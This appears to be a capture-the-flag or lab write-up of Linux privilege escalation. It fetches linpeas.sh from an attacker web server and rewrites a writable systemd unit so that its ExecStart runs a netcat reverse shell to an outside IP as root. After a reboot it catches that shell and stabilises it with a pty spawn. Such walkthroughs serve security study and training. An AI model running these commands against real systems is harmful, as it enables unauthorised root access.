Privilege escalation

# start a webserver on port 80
python3 -m http.server 80 -d /usr/share/peass/linpeas/

# Download it to victim machine.
cd /tmp && wget http://192.168.45.230/linpeas.sh

# Run the file
chmod a+x linpeas.sh
./linpeas.sh

Result from Linpeas.sh

Checking pythonapp.service

Let's first read the content of this file.

cat /etc/systemd/system/pythonapp.service

Looking at the content, It is clear that this file is responsible for executing or running the service.

Luckily, I have read and write access to this file. So, I will edit ExecStart Parameter with a shell command.

I am unable to edit this file in shell. So, I will take it in my Kali Linux, modify it, and then replace this file. Unable to do that as not all ports can connect to external networks.

I will edit the file in the terminal itself.

I have edited file in kali linux and then replace it.

We have changed ExecStart and also User value.

[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=nc 192.168.45.220 80 -e /bin/bash
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target

Start the webserver and send this file to temp directory.

python3 -m http.server 80

Send the file to victim machine.

cd /tmp && wget http://192.168.45.220/pythonapp.service

I tried to remove the original file but this didn't work.

So, I will replace the file content using redirection.

cat /etc/systemd/system/pythonapp.service

cat pythonapp.service  > /etc/systemd/system/pythonapp.service

cat /etc/systemd/system/pythonapp.service

This worked!!

We can see that current user has reboot permission. So, I will restart and see if we can get the shell.

Start the listener.

sudo rlwrap -cAr nc -lvnp 80

Now reboot the system.

sudo /sbin/reboot

After some time you will see that you got the root shell.

Stabilize the shell.

(command -v python && python -c 'import pty; pty.spawn("/bin/bash");') || (command -v python3 && python3 -c 'import pty; pty.spawn("/bin/bash");')